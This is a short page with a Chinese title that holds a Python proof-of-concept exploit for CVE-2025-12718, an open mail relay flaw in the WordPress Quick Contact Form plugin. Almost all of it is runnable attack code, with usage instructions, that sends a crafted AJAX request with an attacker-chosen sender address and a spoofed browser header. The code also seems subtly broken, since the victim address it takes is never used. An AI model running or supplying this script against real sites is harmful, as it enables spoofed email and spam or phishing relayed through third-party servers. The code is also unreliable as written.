CVE-2025-12718 WordPress Quick Contact Form插件开放邮件中继漏洞

#!/usr/bin/env python3 # CVE-2025-12718 PoC - WordPress Quick Contact Form Open Mail Relay # This PoC demonstrates the Open Mail Relay vulnerability in Quick Contact Form <= 8.2.6 import requests import sys def exploit_cve_2025_12718(target_url, attacker_email, victim_email): """ Exploit the Open Mail Relay vulnerability in Quick Contact Form plugin. Args: target_url: Target WordPress site URL (e.g., https://example.com) attacker_email: Email address to set as the 'from' address victim_email: Target recipient email address """ # WordPress AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Prepare the malicious request data # The 'action' parameter must match the registered AJAX action name data = { 'action': 'qcf_validate_form', 'form_email': attacker_email, # User-controlled 'from' email address 'form_subject': 'Test Message', 'form_message': 'This is a test email sent via Open Mail Relay vulnerability', 'your-name': 'Attacker', 'your-email': attacker_email, 'your-subject': 'Test', 'your-message': 'Exploitation attempt' } # Additional headers to make the request look legitimate headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } try: print(f"[*] Targeting: {target_url}") print(f"[*] Spoofed From: {attacker_email}") print(f"[*] Target Recipient: {victim_email}") print(f"[*] Sending malicious request...") response = requests.post(ajax_url, data=data, headers=headers, timeout=30) if response.status_code == 200: print(f"[+] Request sent successfully!") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 4: print("Usage: python3 cve-2025-12718.py <target_url> <attacker_email> <victim_email>") print("Example: python3 cve-2025-12718.py https://victim.com [email protected] [email protected]") sys.exit(1) target = sys.argv[1] attacker = sys.argv[2] victim = sys.argv[3] exploit_cve_2025_12718(target, attacker, victim)